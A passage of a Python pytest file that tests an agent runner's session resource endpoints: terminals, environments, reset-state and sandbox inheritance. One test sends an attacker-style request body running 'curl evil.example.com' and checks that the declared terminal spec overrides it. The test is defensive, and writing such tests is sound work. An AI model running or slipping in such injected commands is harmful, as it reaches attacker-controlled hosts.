"""Tests for runner-side session resource endpoints (Phase 1a + 1b).""" from __future__ import annotations import asyncio import json import os import uuid from collections.abc import AsyncIterator, Callable, Sequence from dataclasses import dataclass from pathlib import Path from types import SimpleNamespace from typing import Any import httpx import pytest from fastapi import FastAPI from omnigent.entities import DEFAULT_ENVIRONMENT_ID from omnigent.entities.session_resources import ( SessionResourceView, default_environment_resource, environment_safety_metadata, terminal_resource_id, terminal_resource_view, ) from omnigent.inner.datamodel import OSEnvSandboxSpec, OSEnvSpec, TerminalEnvSpec from omnigent.inner.os_env import EditEntry, OpResult, OSEnvironment from omnigent.inner.terminal import TerminalInstance from omnigent.runner import create_runner_app from omnigent.runner import resource_registry as resource_registry_mod from omnigent.runner.resource_registry import ( _CLAUDE_NATIVE_STATUS_IDLE_THRESHOLD_SECONDS, _CLAUDE_NATIVE_STATUS_POLL_INTERVAL_SECONDS, _TERMINAL_ACTIVITY_EMIT_MIN_INTERVAL_SECONDS, CLAUDE_NATIVE_TERMINAL_ROLE, SessionResourceRegistry, ) from omnigent.spec.types import AgentSpec, ExecutorSpec from omnigent.terminals import TerminalListEntry, TerminalRegistry from tests.runner.helpers import NullServerClient, make_test_terminal_instance @dataclass class _FakeOSEnvironment(OSEnvironment): """Minimal concrete OSEnvironment for resource-list tests.""" async def read( self, path: str, offset: int = 1, limit: int | None = None, ) -> OpResult: del path, offset, limit return {} async def write(self, path: str, content: str) -> OpResult: del path, content return {} async def edit( self, path: str, *, old_text: str | None = None, new_text: str | None = None, edits: Sequence[EditEntry] | None = None, ) -> OpResult: del path, old_text, new_text, edits return {} async def shell(self, command: str, timeout: int | None = None) -> OpResult: del command, timeout return {} def close(self) -> None: return None def _make_instance( name: str, session_key: str, tmp_path: Path, *, running: bool = True, os_env: OSEnvironment | None = None, ) -> TerminalInstance: """ Build a terminal instance stub for resource endpoint tests. :param name: Terminal name, e.g. ``"bash"``. :param session_key: Per-launch session key, e.g. ``"s1"``. :param tmp_path: Temporary directory for placeholder paths. :param running: Initial in-memory running flag. :param os_env: Optional terminal-specific OS environment. :returns: A test terminal instance. """ return make_test_terminal_instance( name, session_key, tmp_path, running=running, os_env=os_env, ) def _seed_registry( registry: TerminalRegistry, conversation_id: str, instances: list[TerminalInstance], ) -> None: slot = registry._by_conversation.setdefault(conversation_id, {}) for instance in instances: slot[(instance.name, instance.session_key)] = instance class _CapturingResourceRegistry: """Resource registry stub that records terminal launch specs.""" def __init__(self, tmp_path: Path, *, runner_workspace: Path | None = None) -> None: """ Initialize the stub. :param tmp_path: Temporary directory used to build a fake terminal instance. :param runner_workspace: Optional workspace path returned by :meth:`compute_default_env_root` when no agent spec overrides it. :returns: None. """ self.tmp_path = tmp_path self._runner_workspace = runner_workspace self.launches: list[TerminalEnvSpec] = [] self.parent_os_envs: list[Any | None] = [] self.resource_roles: list[str | None] = [] self.launch_lifecycles: list[str] = [] def set_terminal_activity_publisher( self, publisher: Callable[[str, str], None], ) -> None: """ Accept the terminal-activity publisher installed by the runner app. The stub never launches a real terminal, so it just retains the callback (unused) to satisfy ``create_runner_app``'s wiring. :param publisher: Callable ``(session_id, terminal_id) -> None``. :returns: None. """ self._terminal_activity_publisher = publisher def set_session_status_publisher( self, publisher: Callable[[str, str], None], ) -> None: """ Accept the session-status publisher installed by the runner app. The stub never launches a real terminal, so it just retains the callback (unused) to satisfy ``create_runner_app``'s wiring. :param publisher: Callable ``(session_id, status) -> None``. :returns: None. """ self._session_status_publisher = publisher def set_terminal_exit_publisher( self, publisher: Callable[[Any], None], ) -> None: """ Accept the terminal-exit publisher installed by the runner app. :param publisher: Callable receiving a terminal-exit event. :returns: None. """ self._terminal_exit_publisher = publisher def compute_default_env_root(self, session_id: str, agent_spec: Any) -> str | None: """Return the runner workspace as the default cwd, or None. :param session_id: Session/conversation identifier. :param agent_spec: Agent spec for the session (unused in stub). :returns: Runner workspace path string, or ``None`` when not set. """ return str(self._runner_workspace) if self._runner_workspace is not None else None async def launch_required_terminal( self, session_id: str, terminal_name: str, session_key: str, spec: TerminalEnvSpec, cwd_override: str | None = None, sandbox_override: str | None = None, parent_os_env: Any | None = None, resource_role: str | None = None, ) -> SessionResourceView: """Capture a required terminal launch.""" return await self._launch( "required", session_id=session_id, terminal_name=terminal_name, session_key=session_key, spec=spec, cwd_override=cwd_override, sandbox_override=sandbox_override, parent_os_env=parent_os_env, resource_role=resource_role, ) async def launch_auxiliary_terminal( self, session_id: str, terminal_name: str, session_key: str, spec: TerminalEnvSpec, cwd_override: str | None = None, sandbox_override: str | None = None, parent_os_env: Any | None = None, resource_role: str | None = None, ) -> SessionResourceView: """Capture an auxiliary terminal launch.""" return await self._launch( "auxiliary", session_id=session_id, terminal_name=terminal_name, session_key=session_key, spec=spec, cwd_override=cwd_override, sandbox_override=sandbox_override, parent_os_env=parent_os_env, resource_role=resource_role, ) async def _launch( self, lifecycle: str, *, session_id: str, terminal_name: str, session_key: str, spec: TerminalEnvSpec, cwd_override: str | None = None, sandbox_override: str | None = None, parent_os_env: Any | None = None, resource_role: str | None = None, ) -> SessionResourceView: """ Capture the launch spec and return a terminal resource view. :param lifecycle: ``"required"`` or ``"auxiliary"``. :param session_id: Session/conversation identifier. :param terminal_name: Terminal name from the request. :param session_key: Per-launch terminal key. :param spec: Terminal environment spec built by the runner. :param cwd_override: Optional cwd override. :param sandbox_override: Optional sandbox override. :param parent_os_env: Inherited from the agent spec; the stub captures it via ``parent_os_envs[-1]`` for assertions. :param resource_role: Runner-private role marker (e.g. ``"claude-native"``); captured via ``resource_roles[-1]`` for assertions. :returns: Terminal resource view for the fake instance. """ assert cwd_override is None assert sandbox_override is None self.launch_lifecycles.append(lifecycle) self.launches.append(spec) self.parent_os_envs.append(parent_os_env) self.resource_roles.append(resource_role) instance = _make_instance(terminal_name, session_key, self.tmp_path) return terminal_resource_view( session_id, TerminalListEntry( terminal_name=terminal_name, session_key=session_key, instance=instance, ), ) @pytest.fixture def registry(tmp_path: Path) -> TerminalRegistry: terminal_registry = TerminalRegistry( conversation_link_base_url="http://127.0.0.1:8000", ) terminal_env = _FakeOSEnvironment( spec=OSEnvSpec( type="caller_process", cwd=str(tmp_path / "terminal-root"), sandbox=OSEnvSandboxSpec(type="none"), ), cwd=tmp_path / "terminal-root", ) _seed_registry( terminal_registry, "conv_abc", [ _make_instance("bash", "s1", tmp_path, os_env=terminal_env), _make_instance("python", "s2", tmp_path), _make_instance("stale", "s3", tmp_path, running=False), ], ) _seed_registry( terminal_registry, "conv_other", [_make_instance("other", "s1", tmp_path)], ) return terminal_registry @pytest.fixture def app(registry: TerminalRegistry) -> FastAPI: return create_runner_app( terminal_registry=registry, server_client=NullServerClient(), # type: ignore[arg-type] ) @pytest.fixture async def client(app: FastAPI) -> AsyncIterator[httpx.AsyncClient]: transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: yield c @pytest.mark.asyncio async def test_session_resources_new_session_lists_default_only(tmp_path: Path) -> None: workspace = tmp_path / "workspace" workspace.mkdir() app = create_runner_app( runner_workspace=workspace, server_client=NullServerClient(), # type: ignore[arg-type] ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp = await c.get("/v1/sessions/conv_new/resources") assert resp.status_code == 200 body = resp.json() assert body == { "object": "list", "data": [ { "id": DEFAULT_ENVIRONMENT_ID, "object": "session.resource", "type": "environment", "session_id": "conv_new", "name": "Primary environment", "metadata": { "environment_type": "caller_process", "role": "primary", }, } ], "first_id": DEFAULT_ENVIRONMENT_ID, "last_id": DEFAULT_ENVIRONMENT_ID, "has_more": False, } @pytest.mark.asyncio async def test_session_resources_include_running_terminal_resources( client: httpx.AsyncClient, ) -> None: resp = await client.get("/v1/sessions/conv_abc/resources?order=asc") assert resp.status_code == 200 body = resp.json() ids = [resource["id"] for resource in body["data"]] assert ids == [ DEFAULT_ENVIRONMENT_ID, "terminal_bash_s1", "env_terminal_bash_s1", "terminal_python_s2", ] assert "terminal_stale_s3" not in ids @pytest.mark.asyncio async def test_session_terminal_resources_point_to_actual_environment( client: httpx.AsyncClient, ) -> None: resp = await client.get("/v1/sessions/conv_abc/resources?order=asc") assert resp.status_code == 200 resources = {resource["id"]: resource for resource in resp.json()["data"]} assert resources["terminal_bash_s1"]["environment"] == "env_terminal_bash_s1" assert resources["terminal_python_s2"]["environment"] == DEFAULT_ENVIRONMENT_ID terminal_env = resources["env_terminal_bash_s1"] assert terminal_env["type"] == "environment" assert terminal_env["metadata"]["environment_type"] == "caller_process" assert terminal_env["metadata"]["role"] == "terminal" assert terminal_env["metadata"]["terminal_name"] == "bash" assert terminal_env["metadata"]["session_key"] == "s1" assert terminal_env["metadata"]["root"].endswith("terminal-root") @pytest.mark.asyncio async def test_session_resources_are_scoped_by_session( client: httpx.AsyncClient, ) -> None: resp = await client.get("/v1/sessions/conv_other/resources?order=asc") assert resp.status_code == 200 ids = [resource["id"] for resource in resp.json()["data"]] assert ids == [DEFAULT_ENVIRONMENT_ID, "terminal_other_s1"] # ── Phase 1b: typed collections ───────────────────────────────── @pytest.mark.asyncio async def test_list_environments_returns_only_environment_resources( client: httpx.AsyncClient, ) -> None: """GET /resources/environments filters to environment type only.""" resp = await client.get("/v1/sessions/conv_abc/resources/environments") assert resp.status_code == 200 body = resp.json() assert body["object"] == "list" types = {r["type"] for r in body["data"]} assert types == {"environment"} ids = [r["id"] for r in body["data"]] assert DEFAULT_ENVIRONMENT_ID in ids assert "env_terminal_bash_s1" in ids assert "terminal_bash_s1" not in ids @pytest.mark.asyncio async def test_list_terminals_returns_only_terminal_resources( client: httpx.AsyncClient, ) -> None: """GET /resources/terminals filters to terminal type only.""" resp = await client.get("/v1/sessions/conv_abc/resources/terminals") assert resp.status_code == 200 body = resp.json() types = {r["type"] for r in body["data"]} assert types == {"terminal"} ids = [r["id"] for r in body["data"]] assert "terminal_bash_s1" in ids assert "terminal_python_s2" in ids assert DEFAULT_ENVIRONMENT_ID not in ids @pytest.mark.asyncio async def test_get_environment_by_id_returns_default( client: httpx.AsyncClient, ) -> None: """GET /resources/environments/default returns the primary env.""" resp = await client.get( f"/v1/sessions/conv_abc/resources/environments/{DEFAULT_ENVIRONMENT_ID}" ) assert resp.status_code == 200 body = resp.json() assert body["id"] == DEFAULT_ENVIRONMENT_ID assert body["type"] == "environment" assert body["metadata"]["role"] == "primary" class _SwitchableServerClient: """AP-server stub whose session snapshot reports a mutable ``agent_id``. Flipping :attr:`agent_id` simulates an in-place agent switch rebinding the conversation to a new agent. ``GET /v1/sessions/{id}`` is the only call the spec-resolution path makes; POST/PATCH are stubbed for any incidental runner calls. """ class _Response: """Minimal 200 response carrying a fixed JSON body.""" def __init__(self, body: dict[str, Any]) -> None: """:param body: JSON body returned by :meth:`json`.""" self.status_code = 200 self._body = body def json(self) -> dict[str, Any]: """:returns: The fixed JSON body.""" return self._body def raise_for_status(self) -> None: """No-op: the stub always succeeds.""" def __init__(self, workspace: str) -> None: """:param workspace: Absolute workspace path reported in the snapshot.""" self.agent_id = "agent_a" self._workspace = workspace async def get(self, url: str, **kwargs: Any) -> _SwitchableServerClient._Response: """Report the session snapshot with the current ``agent_id`` binding. :param url: Request URL (ignored — only the session GET is exercised). :param kwargs: Extra kwargs (ignored). :returns: A 200 snapshot whose ``agent_id`` reflects the current binding. """ del url, kwargs return self._Response( {"created_at": 0.0, "workspace": self._workspace, "agent_id": self.agent_id} ) async def post(self, url: str, **kwargs: Any) -> _SwitchableServerClient._Response: """Stub POST returning an empty 200.""" del url, kwargs return self._Response({}) async def patch(self, url: str, **kwargs: Any) -> _SwitchableServerClient._Response: """Stub PATCH returning an empty 200.""" del url, kwargs return self._Response({}) @pytest.mark.asyncio async def test_reset_state_rematerializes_env_from_new_agent_spec(tmp_path: Path) -> None: """``POST /reset-state`` makes the next filesystem access resolve the NEW agent's spec — and therefore its ``os_env`` / sandbox. Regression guard for the in-place agent-switch sandbox fix. The web filesystem/shell endpoints materialize the primary OSEnv from the resolved agent spec (cached in ``_session_spec_cache``, keyed via the snapshot's ``agent_id``). ``compute_default_env_root`` is handed that same resolved spec, so capturing its argument tells us which agent is live. Without the cache invalidation in ``reset-state``, the second GET would still see ``agent_a`` (the bug: the env rebuilds from the stale old spec and the new sandbox never applies). The flip to ``agent_b`` proves the new agent's os_env now governs these endpoints. """ workspace = tmp_path / "workspace" workspace.mkdir() # Two agents with DISTINCT sandboxes so the captured spec is unambiguous. spec_a = AgentSpec( spec_version=1, name="agent_a", os_env=OSEnvSpec(type="caller_process", cwd=".", sandbox=OSEnvSandboxSpec(type="none")), ) spec_b = AgentSpec( spec_version=1, name="agent_b", os_env=OSEnvSpec( type="caller_process", cwd=".", sandbox=OSEnvSandboxSpec(type="linux_bwrap"), ), ) async def _spec_resolver(agent_id: str, session_id: str | None) -> AgentSpec: """Resolve agent_a→spec_a, agent_b→spec_b (the switch target).""" del session_id return spec_a if agent_id == "agent_a" else spec_b terminal_registry = TerminalRegistry(conversation_link_base_url="http://127.0.0.1:8000") registry = SessionResourceRegistry( terminal_registry=terminal_registry, runner_workspace=workspace, per_session_workspace=False, ) # Capture the resolved spec each time the env root is computed without # disturbing the real resolution logic. captured_specs: list[Any] = [] _orig_compute_root = registry.compute_default_env_root def _recording_compute_root(session_id: str, agent_spec: Any) -> str | None: """Record the resolved spec, then delegate to the real method.""" captured_specs.append(agent_spec) return _orig_compute_root(session_id, agent_spec) registry.compute_default_env_root = _recording_compute_root # type: ignore[method-assign] server = _SwitchableServerClient(str(workspace.resolve())) app = create_runner_app( server_client=server, # type: ignore[arg-type] terminal_registry=terminal_registry, resource_registry=registry, spec_resolver=_spec_resolver, runner_workspace=workspace, per_session_workspace=False, ) env_path = f"/v1/sessions/conv_switch/resources/environments/{DEFAULT_ENVIRONMENT_ID}" transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp1 = await c.get(env_path) assert resp1.status_code == 200, resp1.text # First access resolved agent_a (sandbox=none). A different value here # would mean spec resolution is broken, not the switch path. assert captured_specs[-1].name == "agent_a" assert captured_specs[-1].os_env.sandbox.type == "none" # Simulate the in-place switch: rebind the conversation to agent_b on # the server, then run the switch's runner-side reset. server.agent_id = "agent_b" reset = await c.post("/v1/sessions/conv_switch/reset-state") assert reset.status_code == 200, reset.text assert reset.json()["reset"] is True resp2 = await c.get(env_path) assert resp2.status_code == 200, resp2.text # After the reset the next access resolved agent_b (sandbox=linux_bwrap). # If reset-state had NOT dropped the spec/snapshot caches, this would # still be agent_a/"none" — the cross-agent sandbox leak this guards. assert captured_specs[-1].name == "agent_b" assert captured_specs[-1].os_env.sandbox.type == "linux_bwrap" @pytest.mark.asyncio async def test_reset_state_closes_terminals_and_publishes_deleted(tmp_path: Path) -> None: """``POST /reset-state`` (in-place agent switch) closes the session's terminals AND announces each close with ``session.resource.deleted``. Regression guard for the switch-agent stale-terminal bug: the switch's runner-side reset used to pop terminals from the registry silently (``cleanup_session`` emits no events), so the web UI — whose terminal list is SSE-primary — kept showing the old agent's dead terminal, and attaching to it failed with "terminal resource not found or not running". """ from omnigent.runner.app import _session_event_queues_ref conv_id = "conv_switch_term_teardown" workspace = tmp_path / "workspace" workspace.mkdir() terminal_registry = TerminalRegistry(conversation_link_base_url="http://127.0.0.1:8000") # Seed the old agent's live terminal (the debby CLI's ``tui:main``). # Private-attr seed matches the existing resource-registry test # convention (no real tmux). _seed_registry(terminal_registry, conv_id, [_make_instance("tui", "main", tmp_path)]) registry = SessionResourceRegistry( terminal_registry=terminal_registry, runner_workspace=workspace, per_session_workspace=False, ) async def _spec_resolver(agent_id: str, session_id: str | None) -> AgentSpec: """Return a minimal spec; reset-state never resolves it.""" del agent_id, session_id return AgentSpec(spec_version=1, name="any") app = create_runner_app( server_client=NullServerClient(), # type: ignore[arg-type] terminal_registry=terminal_registry, resource_registry=registry, spec_resolver=_spec_resolver, runner_workspace=workspace, per_session_workspace=False, ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: # Precondition: the terminal is live before the reset, so a later # absence proves the reset closed it (not that it was never there). assert terminal_registry.get(conv_id, "tui", "main") is not None reset = await c.post(f"/v1/sessions/{conv_id}/reset-state") assert reset.status_code == 200, reset.text assert reset.json()["reset"] is True queue = _session_event_queues_ref.get(conv_id) queued_events: list[dict[str, Any]] = [] while queue is not None and not queue.empty(): item = queue.get_nowait() if isinstance(item, dict): queued_events.append(item) # The terminal is gone from the registry → the /resources/terminals # list the web UI seeds from no longer shows it. Still present = # reset-state skipped the teardown entirely. assert terminal_registry.get(conv_id, "tui", "main") is None, ( "reset-state must close the session's terminals; this one is " "still registered, so the web UI would keep listing it." ) # Exactly one session.resource.deleted for the closed terminal so # connected clients drop it live (the server relay also persists it). # 0 = reset closed the terminal silently (the stale-tab bug this # guards against); 2+ = double-publish (teardown ran twice). deleted = [e for e in queued_events if e.get("type") == "session.resource.deleted"] assert deleted == [ { "type": "session.resource.deleted", "resource_id": "terminal_tui_main", "resource_type": "terminal", "session_id": conv_id, } ], f"expected one terminal session.resource.deleted event, got {deleted!r}" @pytest.mark.asyncio async def test_get_environment_reports_root_and_home(tmp_path: Path) -> None: """Default env GET carries metadata.root AND metadata.home. The Web UI needs ``home`` to expand a leading ``~`` in agent-mentioned paths and resolve them against ``root``. ``home`` is the runner process's own home — the same one the agent's ``~`` expands to. The endpoint only emits it when ``os.path.expanduser("~")`` resolves to an absolute path; when it can't (``~`` left literal), the field is omitted, so the assertion matches that conditional behavior. """ workspace = tmp_path / "workspace" workspace.mkdir() app = create_runner_app( runner_workspace=workspace, server_client=NullServerClient(), # type: ignore[arg-type] ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp = await c.get( f"/v1/sessions/conv_new/resources/environments/{DEFAULT_ENVIRONMENT_ID}" ) assert resp.status_code == 200 metadata = resp.json()["metadata"] # root resolves under the configured runner workspace (a per-session subdir # when isolated); a value outside it means compute_default_env_root # regressed, not the home addition. assert metadata["root"].startswith(str(workspace.resolve())) # home is the runner's own home — the value the agent's ``~`` expands to. # Mirror the endpoint's guard: emitted only when expanduser yields an # absolute path; omitted entirely when it can't resolve ``~``. expanded_home = os.path.expanduser("~") if os.path.isabs(expanded_home): assert metadata["home"] == expanded_home else: assert "home" not in metadata @pytest.mark.asyncio async def test_get_environment_returns_404_for_unknown( client: httpx.AsyncClient, ) -> None: """GET /resources/environments/{bad_id} returns 404.""" resp = await client.get("/v1/sessions/conv_abc/resources/environments/nonexistent") assert resp.status_code == 404 assert resp.json()["error"]["code"] == "not_found" @pytest.mark.asyncio async def test_get_terminal_by_id( client: httpx.AsyncClient, ) -> None: """GET /resources/terminals/{id} returns the terminal resource.""" resp = await client.get("/v1/sessions/conv_abc/resources/terminals/terminal_bash_s1") assert resp.status_code == 200 body = resp.json() assert body["id"] == "terminal_bash_s1" assert body["type"] == "terminal" assert body["environment"] == "env_terminal_bash_s1" assert body["metadata"]["terminal_name"] == "bash" assert body["metadata"]["tmux_socket"].endswith("bash-s1.sock") assert body["metadata"]["tmux_target"] == "main" @pytest.mark.asyncio async def test_get_terminal_by_id_returns_404_when_tmux_exited( client: httpx.AsyncClient, registry: TerminalRegistry, ) -> None: """ GET verifies live tmux state instead of trusting a stale flag. This is the signal ``omnigent claude`` uses after its attach WebSocket closes cleanly. If this endpoint returns 200 after the command's tmux server has exited, the native wrapper treats normal Claude exit as a server bounce and reconnects forever. """ instance = registry.get("conv_abc", "bash", "s1") assert instance is not None async def dead_tmux() -> bool: """ Simulate :meth:`TerminalInstance.is_alive` observing tmux gone. :returns: ``False`` after marking the optimistic flag stale. """ instance.running = False return False instance.is_alive = dead_tmux # type: ignore[method-assign] resp = await client.get("/v1/sessions/conv_abc/resources/terminals/terminal_bash_s1") # 404 is the definitive "terminal gone" probe result consumed by # claude-native. A 200 here would preserve the reconnect loop bug. assert resp.status_code == 404 assert instance.running is False @pytest.mark.asyncio async def test_transfer_terminal_moves_resource_without_closing( client: httpx.AsyncClient, registry: TerminalRegistry, ) -> None: """ POST /resources/terminals/{id}/transfer reparents the terminal. This catches the ``/clear`` bug class where moving ownership would accidentally close tmux or leave the runner registry keyed under the old conversation, making the new Omnigent conversation unable to attach to the still-running Claude pane. """ source = registry.get("conv_abc", "bash", "s1") assert source is not None resp = await client.post( "/v1/sessions/conv_abc/resources/terminals/terminal_bash_s1/transfer", json={"target_session_id": "conv_new"}, ) assert resp.status_code == 200 body = resp.json() assert body["id"] == "terminal_bash_s1" assert body["session_id"] == "conv_new" assert body["metadata"]["terminal_name"] == "bash" assert registry.get("conv_abc", "bash", "s1") is None assert registry.get("conv_new", "bash", "s1") is source assert source.conversation_link == "http://127.0.0.1:8000/c/conv_new" assert source.running is True @pytest.mark.asyncio async def test_get_terminal_returns_404_for_unknown( client: httpx.AsyncClient, ) -> None: """GET /resources/terminals/{bad_id} returns 404.""" resp = await client.get("/v1/sessions/conv_abc/resources/terminals/terminal_nope_s1") assert resp.status_code == 404 @pytest.mark.asyncio async def test_get_resource_by_id_generic( client: httpx.AsyncClient, ) -> None: """GET /resources/{id} returns any resource type.""" resp_env = await client.get(f"/v1/sessions/conv_abc/resources/{DEFAULT_ENVIRONMENT_ID}") assert resp_env.status_code == 200 assert resp_env.json()["type"] == "environment" resp_term = await client.get("/v1/sessions/conv_abc/resources/terminal_bash_s1") assert resp_term.status_code == 200 assert resp_term.json()["type"] == "terminal" @pytest.mark.asyncio async def test_get_resource_returns_404_for_unknown( client: httpx.AsyncClient, ) -> None: """GET /resources/{bad_id} returns 404.""" resp = await client.get("/v1/sessions/conv_abc/resources/nonexistent") assert resp.status_code == 404 assert resp.json()["error"]["code"] == "not_found" @pytest.mark.asyncio async def test_typed_routes_not_captured_as_resource_id( client: httpx.AsyncClient, ) -> None: """Verify that 'environments' and 'terminals' are not captured as resource_id by the generic GET /resources/{resource_id} route. """ resp_env = await client.get("/v1/sessions/conv_abc/resources/environments") assert resp_env.status_code == 200 assert resp_env.json()["object"] == "list" resp_term = await client.get("/v1/sessions/conv_abc/resources/terminals") assert resp_term.status_code == 200 assert resp_term.json()["object"] == "list" @pytest.mark.asyncio async def test_list_resources_type_filter( client: httpx.AsyncClient, ) -> None: """GET /resources?type=terminal returns only terminals.""" resp = await client.get("/v1/sessions/conv_abc/resources?type=terminal&order=asc") assert resp.status_code == 200 body = resp.json() types = {r["type"] for r in body["data"]} assert types == {"terminal"} # ── Phase 1b: terminal lifecycle ──────────────────────────────── @pytest.mark.asyncio async def test_delete_terminal_closes_and_returns_confirmation( client: httpx.AsyncClient, registry: TerminalRegistry, ) -> None: """DELETE /resources/terminals/{id} closes the terminal.""" resp = await client.delete("/v1/sessions/conv_abc/resources/terminals/terminal_bash_s1") assert resp.status_code == 200 body = resp.json() assert body["id"] == "terminal_bash_s1" assert body["object"] == "session.resource.deleted" assert body["deleted"] is True instance = registry.get("conv_abc", "bash", "s1") assert instance is None or not instance.running @pytest.mark.asyncio async def test_delete_terminal_returns_404_for_unknown( client: httpx.AsyncClient, ) -> None: """DELETE /resources/terminals/{bad_id} returns 404.""" resp = await client.delete("/v1/sessions/conv_abc/resources/terminals/terminal_nope_s1") assert resp.status_code == 404 assert resp.json()["error"]["code"] == "not_found" @pytest.mark.asyncio async def test_create_terminal_uses_runner_workspace_as_default_cwd( tmp_path: Path, ) -> None: """ Runner-created terminals default to the local runner workspace. This is the resource endpoint used by ``omnigent claude``. The request body intentionally avoids embedding the client's cwd, so the runner must supply its own workspace default before launching tmux. """ workspace = tmp_path / "workspace" workspace.mkdir() resource_registry = _CapturingResourceRegistry(tmp_path, runner_workspace=workspace) app = create_runner_app( resource_registry=resource_registry, server_client=NullServerClient(), # type: ignore[arg-type] ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp = await c.post( "/v1/sessions/conv_abc/resources/terminals", json={ "terminal": "claude", "session_key": "main", "spec": { "command": "claude", "args": ["--resume", "native"], "os_env_type": "caller_process", }, }, ) assert resp.status_code == 200 # Exactly one captured launch proves the runner endpoint forwarded # this create request once; zero would mean the terminal was never # launched, and more than one would mean duplicate terminal spawns. assert len(resource_registry.launches) == 1 launch = resource_registry.launches[0] assert isinstance(launch.os_env, OSEnvSpec) assert launch.os_env.cwd == str(workspace) assert launch.command == "claude" assert launch.args == ["--resume", "native"] assert launch.log_file is None @pytest.mark.asyncio async def test_create_terminal_forwards_tmux_passthrough_opt_in( tmp_path: Path, ) -> None: """ Terminal launch requests can opt into tmux passthrough. Codex native uses this internal knob so its TUI can query the attached terminal's background color through tmux. A regression in the runner request decoder would silently drop the flag before the terminal process launches. :param tmp_path: Temporary directory used for the fake registry. :returns: None. """ resource_registry = _CapturingResourceRegistry(tmp_path) app = create_runner_app( resource_registry=resource_registry, server_client=NullServerClient(), # type: ignore[arg-type] ) transport = httpx.ASGITransport(app=app) async with httpx.AsyncClient(transport=transport, base_url="http://runner") as c: resp = await c.post( "/v1/sessions/conv_abc/resources/terminals", json={ "terminal": "codex", "session_key": "main", "spec": { "command": "codex", "os_env_type": "caller_process", "tmux_allow_passthrough": True, "tmux_start_on_attach": True, }, }, ) assert resp.status_code == 200 assert len(resource_registry.launches) == 1 assert resource_registry.launches[0].tmux_allow_passthrough is True assert resource_registry.launches[0].tmux_start_on_attach is True @pytest.mark.asyncio async def test_create_terminal_threads_agent_parent_os_env_through( tmp_path: Path, ) -> None: """The REST terminal-create endpoint must thread the agent's ``os_env`` (with its sandbox / egress_rules / env_passthrough) through as ``parent_os_env``. Regression: the previous implementation built a fresh ``TerminalEnvSpec`` from the body with **no** sandbox at all, so every REST-launched terminal ran completely outside the agent's configured sandbox — operator/API callers (e.g. the ``omnigent claude`` wrapper) could spawn an unsandboxed terminal in a session whose YAML declared an egress allow-list. """ from omnigent.inner.datamodel import AgentDef, OSEnvSandboxSpec, OSEnvSpec workspace = tmp_path / "workspace" workspace.mkdir() agent = AgentDef( name="hardened", os_env=OSEnvSpec( type="caller_process", cwd=str(workspace), sandbox=OSEnvSandboxSpec( type="darwin_seatbelt", egress_rules=["* api.github.com/**"], env_passthrough=["DATABRICKS_TOKEN"], ), ), ) async def _session_handler(request: httpx.Request) -> httpx.Response: assert request.url.path == "/v1/sessions/conv_test" return httpx.Response(200, json={"id": "conv_test", "agent_id": "agent_hardened"}) async def _resolver(agent_id: str, session_id: str) -> AgentDef: assert agent_id == "agent_hardened" assert session_id == "conv_test" return agent server_client = httpx.AsyncClient( transport=httpx.MockTransport(_session_handler), base_url="http://server", ) resource_registry = _CapturingResourceRegistry(tmp_path, runner_workspace=workspace) app = create_runner_app( resource_registry=resource_registry, server_client=server_client, spec_resolver=_resolver, ) transport = httpx.ASGITransport(app=app) async with ( server_client, httpx.AsyncClient(transport=transport, base_url="http://runner") as c, ): resp = await c.post( "/v1/sessions/conv_test/resources/terminals", json={ "terminal": "claude", "session_key": "main", "spec": {"command": "claude", "os_env_type": "caller_process"}, }, ) assert resp.status_code == 200 assert len(resource_registry.launches) == 1 # parent_os_env is the agent's os_env, so build_terminal_os_env_spec # can inherit the agent's sandbox (egress_rules, env_passthrough, # etc.) for the launched terminal. parent_os_env = resource_registry.parent_os_envs[0] assert parent_os_env is agent.os_env # The synthesised TerminalEnvSpec also carries the agent's sandbox # by reference, so even paths that don't use parent_os_env still # apply egress_rules. launch = resource_registry.launches[0] assert launch.os_env.sandbox is not None assert launch.os_env.sandbox.egress_rules == ["* api.github.com/**"] @pytest.mark.asyncio async def test_create_terminal_uses_declared_terminal_spec_over_body( tmp_path: Path, ) -> None: """When the agent YAML declares a terminal with the requested name, the runner uses that operator-blessed spec verbatim and ignores the body's command/args/sandbox. Closes a previously unaudited API surface where a REST caller could spawn the YAML-declared terminal name with a completely different command. """ from omnigent.inner.datamodel import ( AgentDef, OSEnvSandboxSpec, OSEnvSpec, TerminalEnvSpec, ) workspace = tmp_path / "workspace" workspace.mkdir() declared_zsh = TerminalEnvSpec( command="zsh", args=["-l"], env={"OPERATOR": "set"}, os_env="inherit", ) agent = AgentDef( name="hardened", os_env=OSEnvSpec( type="caller_process", cwd=str(workspace), sandbox=OSEnvSandboxSpec(type="darwin_seatbelt"), ), terminals={"sandboxed_zsh": declared_zsh}, ) async def _session_handler(request: httpx.Request) -> httpx.Response: return httpx.Response(200, json={"id": "conv_test", "agent_id": "agent_hardened"}) async def _resolver(agent_id: str, session_id: str) -> AgentDef: return agent server_client = httpx.AsyncClient( transport=httpx.MockTransport(_session_handler), base_url="http://server", ) resource_registry = _CapturingResourceRegistry(tmp_path, runner_workspace=workspace) app = create_runner_app( resource_registry=resource_registry, server_client=server_client, spec_resolver=_resolver, ) transport = httpx.ASGITransport(app=app) async with ( server_client, httpx.AsyncClient(transport=transport, base_url="http://runner") as c, ): # Attempt to spawn the declared terminal name with attacker- # picked command and args. The declared spec must win. resp = await c.post( "/v1/sessions/conv_test/resources/terminals", json={ "terminal": "sandboxed_zsh", "session_key": "s1", "spec": { "command": "bash", "args": ["-c", "curl evil.example.com"], "env": {"INJECTED": "true"}, }, }, ) assert resp.status_code == 200 launch = resource_registry.launches[0] assert launch is declared_zsh assert launch.command == "zsh" assert launch.args == ["-l"] assert launch.env == {"OPERATOR": "set"} @pytest.mark.asyncio async def test_create_terminal_resolves_declared_placeholder_cwd_to_workspace( tmp_path: Path, ) -> None: """A UI-created shell whose declared spec has a placeholder cwd (``.``) launches in the session workspace, not the runner's process cwd (the dir ``omni host`` ran in). The declared-terminal branch previously passed ``cwd: .`` through unresolved, so ``create_terminal_instance`` fell back to ``Path(".").resolve()`` — 